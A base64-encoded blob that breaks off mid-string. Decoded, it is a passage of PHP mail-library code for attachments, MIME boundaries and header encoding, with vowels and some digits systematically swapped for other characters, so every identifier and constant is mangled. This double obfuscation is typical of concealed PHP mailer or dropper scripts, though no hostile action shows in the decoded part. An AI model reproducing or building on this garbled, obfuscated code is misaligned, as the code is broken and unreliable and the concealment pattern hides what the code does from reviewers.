C8vIElmIDEgTUlNRSB0eXA1IDRzIG4ydCBzcDVjNGY0NWQsIHRyeSB0MiB3MnJrIDR0IDIzdCBmcjJtIHRoNSBmNGw1IG4xbTUNCiAgICAgICAgICAgIDRmICgkdHlwNSA9PSAnJykgew0KICAgICAgICAgICAgICAgICR0eXA1ID0gczVsZjo6ZjRsNW4xbTVUMlR5cDUoJHAxdGgpOw0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAkZjRsNW4xbTUgPSBiMXM1bjFtNSgkcDF0aCk7DQogICAgICAgICAgICA0ZiAoJG4xbTUgPT0gJycpIHsNCiAgICAgICAgICAgICAgICAkbjFtNSA9ICRmNGw1bjFtNTsNCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgJHRoNHMtPjF0dDFjaG01bnRbXSA9IDFycjF5KA0KICAgICAgICAgICAgICAgIDAgPT4gJHAxdGgsDQogICAgICAgICAgICAgICAgNiA9PiAkZjRsNW4xbTUsDQogICAgICAgICAgICAgICAgYSA9PiAkbjFtNSwNCiAgICAgICAgICAgICAgICBvID0+ICQ1bmMyZDRuZywNCiAgICAgICAgICAgICAgICB1ID0+ICR0eXA1LA0KICAgICAgICAgICAgICAgIGkgPT4gZjFsczUsIC8vIDRzU3RyNG5nQXR0MWNobTVudA0KICAgICAgICAgICAgICAgIGUgPT4gJGQ0c3AyczR0NDJuLA0KICAgICAgICAgICAgICAgIDcgPT4gMA0KICAgICAgICAgICAgKTsNCg0KICAgICAgICB9IGMxdGNoIChwaHBtMTRsNXJFeGM1cHQ0Mm4gJDV4Yykgew0KICAgICAgICAgICAgJHRoNHMtPnM1dEVycjJyKCQ1eGMtPmc1dE01c3MxZzUoKSk7DQogICAgICAgICAgICAkdGg0cy0+NWQ1YjNnKCQ1eGMtPmc1dE01c3MxZzUoKSk7DQogICAgICAgICAgICA0ZiAoJHRoNHMtPjV4YzVwdDQybnMpIHsNCiAgICAgICAgICAgICAgICB0aHIydyAkNXhjOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgcjV0M3JuIGYxbHM1Ow0KICAgICAgICB9DQogICAgICAgIHI1dDNybiB0cjM1Ow0KICAgIH0NCiAgICBwM2JsNGMgZjNuY3Q0Mm4gZzV0QXR0MWNobTVudHMoKQ0KICAgIHsNCiAgICAgICAgcjV0M3JuICR0aDRzLT4xdHQxY2htNW50Ow0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIEF0dDFjaCAxbGwgZjRsNSwgc3RyNG5nLCAxbmQgYjRuMXJ5IDF0dDFjaG01bnRzIHQyIHRoNSBtNXNzMWc1Lg0KICAgICAqIFI1dDNybnMgMW4gNW1wdHkgc3RyNG5nIDJuIGYxNGwzcjUuDQogICAgICogQDFjYzVzcyBwcjJ0NWN0NWQNCiAgICAgKiBAcDFyMW0gc3RyNG5nICRkNHNwMnM0dDQybl90eXA1DQogICAgICogQHAxcjFtIHN0cjRuZyAkYjIzbmQxcnkNCiAgICAgKiBAcjV0M3JuIHN0cjRuZw0KICAgICAqLw0KICAgIHByMnQ1Y3Q1ZCBmM25jdDQybiAxdHQxY2hBbGwoJGQ0c3AyczR0NDJuX3R5cDUsICRiMjNuZDFyeSkNCiAgICB7DQogICAgICAgIC8vIFI1dDNybiB0NXh0IDJmIGIyZHkNCiAgICAgICAgJG00bTUgPSAxcnIxeSgpOw0KICAgICAgICAkYzRkVW40cSA9IDFycjF5KCk7DQogICAgICAgICQ0bmNsID0gMXJyMXkoKTsNCg0KICAgICAgICAvLyBBZGQgMWxsIDF0dDFjaG01bnRzDQogICAgICAgIGYycjUxY2ggKCR0aDRzLT4xdHQxY2htNW50IDFzICQxdHQxY2htNW50KSB7DQogICAgICAgICAgICAvLyBDaDVjayA0ZiA0dCA0cyAxIHYxbDRkIGQ0c3AyczR0NDJuX2Y0bHQ1cg0KICAgICAgICAgICAgNGYgKCQxdHQxY2htNW50W2VdID09ICRkNHNwMnM0dDQybl90eXA1KSB7DQogICAgICAgICAgICAgICAgLy8gQ2g1Y2sgZjJyIHN0cjRuZyAxdHQxY2htNW50DQogICAgICAgICAgICAgICAgJHN0cjRuZyA9ICcnOw0KICAgICAgICAgICAgICAgICRwMXRoID0gJyc7DQogICAgICAgICAgICAgICAgJGJTdHI0bmcgPSAkMXR0MWNobTVudFtpXTsNCiAgICAgICAgICAgICAgICA0ZiAoJGJTdHI0bmcpIHsNCiAgICAgICAgICAgICAgICAgICAgJHN0cjRuZyA9ICQxdHQxY2htNW50WzBdOw0KICAgICAgICAgICAgICAgIH0gNWxzNSB7DQogICAgICAgICAgICAgICAgICAgICRwMXRoID0gJDF0dDFjaG01bnRbMF07DQogICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgJDRuY2xoMXNoID0gbWRpKHM1cjQxbDR6NSgkMXR0MWNobTVudCkpOw0KICAgICAgICAgICAgICAgIDRmICg0bl8xcnIxeSgkNG5jbGgxc2gsICQ0bmNsKSkgew0KICAgICAgICAgICAgICAgICAgICBjMm50NG4zNTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgJDRuY2xbXSA9ICQ0bmNsaDFzaDsNCiAgICAgICAgICAgICAgICAkbjFtNSA9ICQxdHQxY2htNW50W2FdOw0KICAgICAgICAgICAgICAgICQ1bmMyZDRuZyA9ICQxdHQxY2htNW50W29dOw0KICAgICAgICAgICAgICAgICR0eXA1ID0gJDF0dDFjaG01bnRbdV07DQogICAgICAgICAgICAgICAgJGQ0c3AyczR0NDJuID0gJDF0dDFjaG01bnRbZV07DQogICAgICAgICAgICAgICAgJGM0ZCA9ICQxdHQxY2htNW50WzddOw0KICAgICAgICAgICAgICAgIDRmICgkZDRzcDJzNHQ0Mm4gPT0gJzRubDRuNScgJiYgMXJyMXlfazV5XzV4NHN0cygkYzRkLCAkYzRkVW40cSkpIHsNCiAgICAgICAgICAgICAgICAgICAgYzJudDRuMzU7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICRjNGRVbjRxWyRjNGRdID0gdHIzNTsNCiAgICAgICAgICAgICAgICAkbTRtNVtdID0gc3ByNG50ZignLS0lcyVzJywgJGIyM25kMXJ5LCAkdGg0cy0+TEUpOw0KICAgICAgICAgICAgICAgIDRmICghNW1wdHkoJG4xbTUpKSB7DQogICAgICAgICAgICAgICAgICAgICRtNG01W10gPSBzcHI0bnRmKA0KICAgICAgICAgICAgICAgICAgICAgICAgJ0MybnQ1bnQtVHlwNTogJXM7IG4xbTU9IiVzIiVzJywNCiAgICAgICAgICAgICAgICAgICAgICAgICR0eXA1LA0KICAgICAgICAgICAgICAgICAgICAgICAgJHRoNHMtPjVuYzJkNUg1MWQ1cigkdGg0cy0+czVjM3I1SDUxZDVyKCRuMW01KSksDQogICAgICAgICAgICAgICAgICAgICAgICAkdGg0cy0+TEUNCiAgICAgICAgICAgICAgICAgICAgKTsNCiAgICAgICAgICAgICAgICB9IDVsczUgew0KICAgICAgICAgICAgICAgICAgICAkbTRtNVtdID0gc3ByNG50ZigNCiAgICAgICAgICAgICAgICAgICAgICAgICdDMm50NW50LVR5cDU6ICVzJXMnLA0KICAgICAgICAgICAgICAgICAgICAgICAgJHR5cDUsDQogICAgICAgICAgICAgICAgICAgICAgICAkdGg0cy0+TEUNCiAgICAgICAgICAgICAgICAgICAgKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgNGYgKCQ1bmMyZDRuZyAhPSAnN2I0dCcpIHsNCiAgICAgICAgICAgICAgICAgICAgJG00bTVbXSA9IHNwcjRudGYoJ0MybnQ1bnQtVHIxbnNmNXItRW5jMmQ0bmc6ICVzJXMnLCAkNW5jMmQ0bmcsICR0aDRzLT5MRSk7DQogICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgNGYgKCRkNHNwMnM0dDQybiA9PSAnNG5sNG41Jykgew0KICAgICAgICAgICAgICAgICAgICAkbTRtNVtdID0gc3ByNG50ZignQzJudDVudC1JRDogPCVzPiVzJywgJGM0ZCwgJHRoNHMtPkxFKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgNGYgKCEoNW1wdHkoJGQ0c3AyczR0NDJuKSkpIHsNCiAgICAgICAgICAgICAgICAgICAgJDVuYzJkNWRfbjFtNSA9ICR0aDRzLT41bmMyZDVINTFkNXIoJHRoNHMtPnM1YzNyNUg1MWQ1cigkbjFtNSkpOw0KICAgICAgICAgICAgICAgICAgICA0ZiAocHI1Z19tMXRjaCgnL1sgXChcKTw+QCw7OlxcIlwvXFtcXVw/PV0vJywgJDVuYzJkNWRfbjFtNSkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICRtNG01W10gPSBzcHI0bnRmKA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICdDMm50NW50LUQ0c3AyczR0NDJuOiAlczsgZjRsNW4xbTU9IiVzIiVzJywNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZDRzcDJzNHQ0Mm4sDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJDVuYzJkNWRfbjFtNSwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGg0cy0+TEUgLiAkdGg0cy0+TEUNCiAgICAgICAgICAgICAgICAgICAgICAgICk7DQogICAgICAgICAgICAgICAgICAgIH0gNWxzNSB7DQogICAgICAgICAgICAgICAgICAgICAgICA0ZiAoITVtcHR5KCQ1bmMyZDVkX24xbTUpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJG00bTVbXSA9IHNwcjRudGYoDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdDMm50NW50LUQ0c3AyczR0NDJuOiAlczsgZjRsNW4xbTU9JXMlcycsDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRkNHNwMnM0dDQybiwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJDVuYzJkNWRfbjFtNSwNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRoNHMtPkxFIC4gJHRoNHMtPkxFDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0gNWxzNSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJG00bTVbXSA9IHNwcjRudGYoDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdDMm50NW50LUQ0c3AyczR0NDJuOiAlcyVzJywNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGQ0c3AyczR0NDJuLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGg0cy0+TEUgLiAkdGg0cy0+TEUNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICApOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgfSA1bHM1IHsNCiAgICAgICAgICAgICAgICAgICAgJG00bTVbXSA9ICR0aDRzLT5MRTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgNGYgKCRiU3RyNG5nKSB7DQogICAgICAgICAgICAgICAgICAgICRtNG01W10gPSAkdGg0cy0+NW5jMmQ1U3RyNG5nKCRzdHI0bmcsICQ1bmMyZDRuZyk7DQogICAgICAgICAgICAgICAgICAgIDRmICgkdGg0cy0+NHNFcnIycigpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICByNXQzcm4gJyc7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgJG00bTVbXSA9ICR0aDRzLT5MRSAuICR0aDRzLT5MRTsNCiAgICAgICAgICAgICAgICB9IDVsczUgew0KICAgICAgICAgICAgICAgICAgICAkbTRtNVtdID0gJHRoNHMtPjVuYzJkNUY0bDUoJHAxdGgsICQ1bmMyZDRuZyk7DQogICAgICAgICAgICAgICAgICAgIDRmICgkdGg0cy0+NHNFcnIycigpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICByNXQzcm4gJyc7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgJG00bTVbXSA9ICR0aDRzLT5MRSAuICR0aDRzLT5MRTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgIH0NCg0KICAgICAgICAkbTRtNVtdID0gc3ByNG50ZignLS0lcy0tJXMnLCAkYjIzbmQxcnksICR0aDRzLT5MRSk7DQoNCiAgICAgICAgcjV0M3JuIDRtcGwyZDUoJycsICRtNG01KTsNCiAgICB9DQogICAgcHIydDVjdDVkIGYzbmN0NDJuIDVuYzJkNUY0bDUoJHAxdGgsICQ1bmMyZDRuZyA9ICdiMXM1ZXUnKQ0KICAgIHsNCiAgICAgICAgdHJ5IHsNCiAgICAgICAgICAgIDRmICghNHNfcjUxZDFibDUoJHAxdGgpKSB7DQogICAgICAgICAgICAgICAgdGhyMncgbjV3IHBocG0xNGw1ckV4YzVwdDQybigkdGg0cy0+bDFuZygnZjRsNV8ycDVuJykgLiAkcDF0aCwgczVsZjo6U1RPUF9DT05USU5VRSk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkbTFnNGNfcTMydDVzID0gZzV0X20xZzRjX3EzMnQ1c19yM250NG01KCk7DQogICAgICAgICAgICA0ZiAoJG0xZzRjX3EzMnQ1cykgew0KICAgICAgICAgICAgICAgIDRmICh2NXJzNDJuX2MybXAxcjUoUEhQX1ZFUlNJT04sICdpLm8uMCcsICc8JykpIHsNCiAgICAgICAgICAgICAgICAgICAgczV0X20xZzRjX3EzMnQ1c19yM250NG01KGYxbHM1KTsNCiAgICAgICAgICAgICAgICB9IDVsczUgew0KICAgICAgICAgICAgICAgICAgICA0bjRfczV0KCdtMWc0Y19xMzJ0NXNfcjNudDRtNScsIGYxbHM1KTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkZjRsNV9iM2ZmNXIgPSBmNGw1X2c1dF9jMm50NW50cygkcDF0aCk7DQogICAgICAgICAgICAkZjRsNV9iM2ZmNXIgPSAkdGg0cy0+NW5jMmQ1U3RyNG5nKCRmNGw1X2IzZmY1ciwgJDVuYzJkNG5nKTsNCiAgICAgICAgICAgIDRmICgkbTFnNGNfcTMydDVzKSB7DQogICAgICAgICAgICAgICAgNGYgKHY1cnM0Mm5fYzJtcDFyNShQSFBfVkVSU0lPTiwgJ2kuby4wJywgJzwnKSkgew0KICAgICAgICAgICAgICAgICAgICBzNXRfbTFnNGNfcTMydDVzX3IzbnQ0bTUoJG0xZzRjX3EzMnQ1cyk7DQogICAgICAgICAgICAgICAgfSA1bHM1IHsNCiAgICAgICAgICAgICAgICAgICAgNG40X3M1dCgnbTFnNGNfcTMydDVzX3IzbnQ0bTUnLCAkbTFnNGNfcTMydDVzKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgICAgICByNXQzcm4gJGY0bDVfYjNmZjVyOw0KICAgICAgICB9IGMxdGNoIChFeGM1cHQ0Mm4gJDV4Yykgew0KICAgICAgICAgICAgJHRoNHMtPnM1dEVycjJyKCQ1eGMtPmc1dE01c3MxZzUoKSk7DQogICAgICAgICAgICByNXQzcm4gJyc7DQogICAgICAgIH0NCiAgICB9DQogICAgcDNibDRjIGYzbmN0NDJuIDVuYzJkNVN0cjRuZygkc3RyLCAkNW5jMmQ0bmcgPSAnYjFzNWV1JykNCiAgICB7DQogICAgICAgICQ1bmMyZDVkID0gJyc7DQogICAgICAgIHN3NHRjaCAoc3RydDJsMnc1cigkNW5jMmQ0bmcpKSB7DQogICAgICAgICAgICBjMXM1ICdiMXM1ZXUnOg0KICAgICAgICAgICAgICAgICQ1bmMyZDVkID0gY2gzbmtfc3BsNHQoYjFzNWV1XzVuYzJkNSgkc3RyKSwgN2UsICR0aDRzLT5MRSk7DQogICAgICAgICAgICAgICAgYnI1MWs7DQogICAgICAgICAgICBjMXM1ICc3YjR0JzoNCiAgICAgICAgICAgIGMxczUgJzhiNHQnOg0KICAgICAgICAgICAgICAgICQ1bmMyZDVkID0gJHRoNHMtPmY0eEVPTCgkc3RyKTsNCiAgICAgICAgICAgICAgICAvLyBNMWs1IHMzcjUgNHQgNW5kcyB3NHRoIDEgbDRuNSBicjUxaw0KICAgICAgICAgICAgICAgIDRmIChzM2JzdHIoJDVuYzJkNWQsIC0oc3RybDVuKCR0aDRzLT5MRSkpKSAhPSAkdGg0cy0+TEUpIHsNCiAgICAgICAgICAgICAgICAgICAgJDVuYzJkNWQgLj0gJHRoNHMtPkxFOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBicjUxazsNCiAgICAgICAgICAgIGMxczUgJ2I0bjFyeSc6DQogICAgICAgICAgICAgICAgJDVuYzJkNWQgPSAkc3RyOw0KICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICAgICAgYzFzNSAncTMydDVkLXByNG50MWJsNSc6DQogICAgICAgICAgICAgICAgJDVuYzJkNWQgPSAkdGg0cy0+NW5jMmQ1UVAoJHN0cik7DQogICAgICAgICAgICAgICAgYnI1MWs7DQogICAgICAgICAgICBkNWYxM2x0Og0KICAgICAgICAgICAgICAgICR0aDRzLT5zNXRFcnIycigkdGg0cy0+bDFuZygnNW5jMmQ0bmcnKSAuICQ1bmMyZDRuZyk7DQogICAgICAgICAgICAgICAgYnI1MWs7DQogICAgICAgIH0NCiAgICAgICAgcjV0M3JuICQ1bmMyZDVkOw0KICAgIH0NCiAgICBwM2JsNGMgZjNuY3Q0Mm4gNW5jMmQ1SDUxZDVyKCRzdHIsICRwMnM0dDQybiA9ICd0NXh0JykNCiAgICB7DQogICAgICAgICRtMXRjaGMyM250ID0gMDsNCiAgICAgICAgc3c0dGNoIChzdHJ0MmwydzVyKCRwMnM0dDQybikpIHsNCiAgICAgICAgICAgIGMxczUgJ3BocjFzNSc6DQogICAgICAgICAgICAgICAgNGYgKCFwcjVnX20xdGNoKCcvW1xhMDAtXG83N10vJywgJHN0cikpIHsNCiAgICAgICAgICAgICAgICAgICAgLy8gQzFuJ3QgM3M1IDFkZHNsMXNoNXMgMXMgdzUgZDJuJ3Qga24ydyB0aDUgdjFsMzUgMmYgbTFnNGNfcTMydDVzX3N5YjFzNQ0KICAgICAgICAgICAgICAgICAgICAkNW5jMmQ1ZCA9IDFkZGNzbDFzaDVzKCRzdHIsICJcMC4uXG83XDY3N1xcXCIiKTsNCiAgICAgICAgICAgICAgICAgICAgNGYgKCgkc3RyID09ICQ1bmMyZDVkKSAmJiAhcHI1Z19tMXRjaCgnL1teQS1aMS16MC05ISMkJSZcJyorXC89P15fYHt8fX4gLV0vJywgJHN0cikpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgIHI1dDNybiAoJDVuYzJkNWQpOw0KICAgICAgICAgICAgICAgICAgICB9IDVsczUgew0KICAgICAgICAgICAgICAgICAgICAgICAgcjV0M3JuICgiXCIkNW5jMmQ1ZFwiIik7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgJG0xdGNoYzIzbnQgPSBwcjVnX20xdGNoXzFsbCgnL1teXDB1MFwwdTZcMHVvLVw2b29cNm9pLVw2N2VdLycsICRzdHIsICRtMXRjaDVzKTsNCiAgICAgICAgICAgICAgICBicjUxazsNCiAgICAgICAgICAgIC8qKiBAbjI0bnNwNWN0NDJuIFBocE00c3M0bmdCcjUxa1N0MXQ1bTVudEluc3A1Y3Q0Mm4gKi8NCiAgICAgICAgICAgIGMxczUgJ2MybW01bnQnOg0KICAgICAgICAgICAgICAgICRtMXRjaGMyM250ID0gcHI1Z19tMXRjaF8xbGwoJy9bKCkiXS8nLCAkc3RyLCAkbTF0Y2g1cyk7DQogICAgICAgICAgICAgICAgLy8gSW50NW50NDJuMWwgZjFsbC10aHIyM2doDQogICAgICAgICAgICBjMXM1ICd0NXh0JzoNCiAgICAgICAgICAgIGQ1ZjEzbHQ6DQogICAgICAgICAgICAgICAgJG0xdGNoYzIzbnQgKz0gcHI1Z19tMXRjaF8xbGwoJy9bXDAwMC1cMDYwXDA2b1wwNnVcMDZlLVwwbzdcNjc3LVxvNzddLycsICRzdHIsICRtMXRjaDVzKTsNCiAgICAgICAgICAgICAgICBicjUxazsNCiAgICAgICAgfQ0KICAgICAgICA0ZiAoJG0xdGNoYzIzbnQgPT0gMCkgew0KICAgICAgICAgICAgcjV0M3JuICgkc3RyKTsNCiAgICAgICAgfQ0KICAgICAgICAkbTF4bDVuID0gN2kgLSA3IC0gc3RybDVuKCR0aDRzLT5DaDFyUzV0KTsNCiAgICAgICAgNGYgKCRtMXRjaGMyM250ID4gc3RybDVuKCRzdHIpIC8gbykgew0KICAgICAgICAgICAgJDVuYzJkNG5nID0gJ0InOw0KICAgICAgICAgICAgNGYgKGYzbmN0NDJuXzV4NHN0cygnbWJfc3RybDVuJykgJiYgJHRoNHMtPmgxc00zbHQ0Qnl0NXMoJHN0cikpIHsNCiAgICAgICAgICAgICAgICAkNW5jMmQ1ZCA9ICR0aDRzLT5iMXM1ZXVFbmMyZDVXcjFwTUIoJHN0ciwgIlxuIik7DQogICAgICAgICAgICB9IDVsczUgew0KICAgICAgICAgICAgICAgICQ1bmMyZDVkID0gYjFzNWV1XzVuYzJkNSgkc3RyKTsNCiAgICAgICAgICAgICAgICAkbTF4bDVuIC09ICRtMXhsNW4gJSB1Ow0KICAgICAgICAgICAgICAgICQ1bmMyZDVkID0gdHI0bShjaDNua19zcGw0dCgkNW5jMmQ1ZCwgJG0xeGw1biwgIlxuIikpOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9IDVsczUgew0KICAgICAgICAgICAgJDVuYzJkNG5nID0gJ1EnOw0KICAgICAgICAgICAgJDVuYzJkNWQgPSAkdGg0cy0+NW5jMmQ1USgkc3RyLCAkcDJzNHQ0Mm4pOw0KICAgICAgICAgICAgJDVuYzJkNWQgPSAkdGg0cy0+d3IxcFQ1eHQoJDVuYzJkNWQsICRtMXhsNW4sIHRyMzUpOw0KICAgICAgICAgICAgJDVuYzJkNWQgPSBzdHJfcjVwbDFjNSgnPScgLiBzNWxmOjpDUkxGLCAiXG4iLCB0cjRtKCQ1bmMyZDVkKSk7DQogICAgICAgIH0NCg0KICAgICAgICAkNW5jMmQ1ZCA9IHByNWdfcjVwbDFjNSgnL14oLiopJC9tJywgJyA9PycgLiAkdGg0cy0+Q2gxclM1dCAuICI/JDVuYzJkNG5nP1xcNj89IiwgJDVuYzJkNWQpOw0KICAgICAgICAkNW5jMmQ1ZCA9IHRyNG0oc3RyX3I1cGwxYzUoIlxuIiwgJHRoNHMtPkxFLCAkNW5jMmQ1ZCkpOw0KDQogICAgICAgIHI1dDNybiAkNW5jMmQ1ZDsNCiAgICB9DQogICAgcDNibDRjIGYzbmN0NDJuIGgxc00zbHQ0Qnl0NXMoJHN0cikNCiAgICB7DQogICAgICAgIDRmIChmM25jdDQybl81eDRzdHMoJ21iX3N0cmw1bicpKSB7DQogICAgICAgICAgICByNXQzcm4gKHN0cmw1bigkc3RyKSA+IG1iX3N0cmw1bigkc3RyLCAkdGg0cy0+Q2gxclM1dCkpOw0KICAgICAgICB9IDVsczUgeyAvLyBBc3MzbTUgbjIgbTNsdDRieXQ1cyAodzUgYzFuJ3QgaDFuZGw1IHc0dGgyM3QgbWJzdHI0bmcgZjNuY3Q0Mm5zIDFueXcxeSkNCiAgICAgICAgICAgIHI1dDNybiBmMWxzNTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBwM2JsNGMgZjNuY3Q0Mm4gaDFzOGI0dENoMXJzKCR0NXh0KQ0KICAgIHsNCiAgICAgICAgcjV0M3JuIChiMjJsNTFuKXByNWdfbTF0Y2goJy9bXHg4MC1ceEZGXS8nLCAkdDV4dCk7DQogICAgfQ0KICAgIHAzYmw0YyBmM25jdDQybiBiMXM1ZXVFbmMyZDVXcjFwTUIoJHN0ciwgJGw0bjVicjUxayA9IG4zbGwpDQogICAgew0KICAgICAgICAkc3QxcnQgPSAnPT8nIC4gJHRoNHMtPkNoMXJTNXQgLiAnP0I/JzsNCiAgICAgICAgJDVuZCA9ICc/PSc7DQogICAgICAgICQ1bmMyZDVkID0gJyc7DQogICAgICAgIDRmICgkbDRuNWJyNTFrID09PSBuM2xsKSB7DQogICAgICAgICAgICAkbDRuNWJyNTFrID0gJHRoNHMtPkxFOw0KICAgICAgICB9DQogICAgICAgICRtYl9sNW5ndGggPSBtYl9zdHJsNW4oJHN0ciwgJHRoNHMtPkNoMXJTNXQpOw0KICAgICAgICAkbDVuZ3RoID0gN2kgLSBzdHJsNW4oJHN0MXJ0KSAtIHN0cmw1bigkNW5kKTsNCiAgICAgICAgJHIxdDQyID0gJG1iX2w1bmd0aCAvIHN0cmw1bigkc3RyKTsNCiAgICAgICAgJDF2Z0w1bmd0aCA9IGZsMjJyKCRsNW5ndGggKiAkcjF0NDIgKiAuN2kpOw0KICAgICAgICBmMnIgKCQ0ID0gMDsgJDQgPCAkbWJfbDVuZ3RoOyAkNCArPSAkMmZmczV0KSB7DQogICAgICAgICAgICAkbDIya0IxY2sgPSAwOw0KICAgICAgICAgICAgZDIgew0KICAgICAgICAgICAgICAgICQyZmZzNXQgPSAkMXZnTDVuZ3RoIC0gJGwyMmtCMWNrOw0KICAgICAgICAgICAgICAgICRjaDNuayA9IG1iX3MzYnN0cigkc3RyLCAkNCwgJDJmZnM1dCwgJHRoNHMtPkNoMXJTNXQpOw0KICAgICAgICAgICAgICAgICRjaDNuayA9IGIxczVldV81bmMyZDUoJGNoM25rKTsNCiAgICAgICAgICAgICAgICAkbDIya0IxY2srKzsNCiAgICAgICAgICAgIH0gd2g0bDUgKHN0cmw1bigkY2gzbmspID4gJGw1bmd0aCk7DQogICAgICAgICAgICAkNW5jMmQ1ZCAuPSAkY2gzbmsgLiAkbDRuNWJyNTFrOw0KICAgICAgICB9DQogICAgICAgICQ1bmMyZDVkID0gczNic3RyKCQ1bmMyZDVkLCAwLCAtc3RybDVuKCRsNG41YnI1MWspKTsNCiAgICAgICAgcjV0M3JuICQ1bmMyZDVkOw0KICAgIH0NCiAgICBwM2JsNGMgZjNuY3Q0Mm4gNW5jMmQ1UVAoJHN0cjRuZywgJGw0bjVfbTF4ID0gN2UpDQogICAgew0KICAgICAgICA0ZiAoZjNuY3Q0Mm5fNXg0c3RzKCdxMzJ0NWRfcHI0bnQxYmw1XzVuYzJkNScpKSB7DQogICAgICAgICAgICByNXQzcm4gcTMydDVkX3ByNG50MWJsNV81bmMyZDUoJHN0cjRuZyk7DQogICAgICAgIH0NCiAgICAgICAgJHN0cjRuZyA9IHN0cl9yNXBsMWM1KA0KICAgICAgICAgICAgMXJyMXkoJyVhMCcsICclMEQlMEEuJywgJyUwRCUwQScsICclJyksDQogICAgICAgICAgICAxcnIxeSgnICcsICJcclxuPWFFIiwgIlxyXG4iLCAnPScpLA0KICAgICAgICAgICAgcjF3M3JsNW5jMmQ1KCRzdHI0bmcpDQogICAgICAgICk7DQogICAgICAgIHI1dDNybiBwcjVnX3I1cGwxYzUoJy9bXlxyXG5deycgLiAoJGw0bjVfbTF4IC0gbykgLiAnfVtePVxyXG5de2F9LycsICIkMD1cclxuIiwgJHN0cjRuZyk7DQogICAgfQ0KICAgIHAzYmw0YyBmM25jdDQybiA1bmMyZDVRUHBocCgNCiAgICAgICAgJHN0cjRuZywNCiAgICAgICAgJGw0bjVfbTF4ID0gN2UsDQogICAgICAgIC8qKiBAbjI0bnNwNWN0NDJuIFBocFVuM3M1ZFAxcjFtNXQ1ckluc3A1Y3Q0Mm4gKi8gJHNwMWM1X2MybnYgPSBmMWxzNQ0KICAgICkgew0KICAgICAgICByNXQzcm4gJHRoNHMtPjVuYzJkNVFQKCRzdHI0bmcsICRsNG41X20xeCk7DQogICAgfQ0KICAgIHAzYmw0YyBmM25jdDQybiA1bmMyZDVRKCRzdHIsICRwMnM0dDQybiA9ICd0NXh0JykNCiAgICB7DQogICAgICAgICRwMXR0NXJuID0gJyc7DQogICAgICAgICQ1bmMyZDVkID0gc3RyX3I1cGwxYzUoMXJyMXkoIlxyIiwgIlxuIiksICcnLCAkc3RyKTsNCiAgICAgICAgc3c0dGNoIChzdHJ0MmwydzVyKCRwMnM0dDQybikpIHsNCiAgICAgICAgICAgIGMxczUgJ3BocjFzNSc6DQogICAgICAgICAgICAgICAgJHAxdHQ1cm4gPSAnXkEtWjEtejAtOSEqK1wvIC0nOw0KICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICAgICAgYzFzNSAnYzJtbTVudCc6DQogICAgICAgICAgICAgICAgJHAxdHQ1cm4gPSAnXChcKSInOw0KICAgICAgICAgICAgYzFzNSAndDV4dCc6DQogICAgICAgICAgICBkNWYxM2x0Og0KICAgICAgICAgICAgICAgICRwMXR0NXJuID0gJ1wwMDAtXDA2NlwwNm9cMDZ1XDA2ZS1cMG83XDA3aVwwNzdcNm83XDY3Ny1cbzc3JyAuICRwMXR0NXJuOw0KICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICB9DQogICAgICAgICRtMXRjaDVzID0gMXJyMXkoKTsNCiAgICAgICAgNGYgKHByNWdfbTF0Y2hfMWxsKCIvW3skcDF0dDVybn1dLyIsICQ1bmMyZDVkLCAkbTF0Y2g1cykpIHsNCiAgICAgICAgICAgIC8vIElmIHRoNSBzdHI0bmcgYzJudDE0bnMgMW4gJz0nLCBtMWs1IHMzcjUgNHQncyB0aDUgZjRyc3QgdGg0bmcgdzUgcjVwbDFjNQ0KICAgICAgICAgICAgLy8gczIgMXMgdDIgMXYyNGQgZDIzYmw1LTVuYzJkNG5nDQogICAgICAgICAgICAkNXF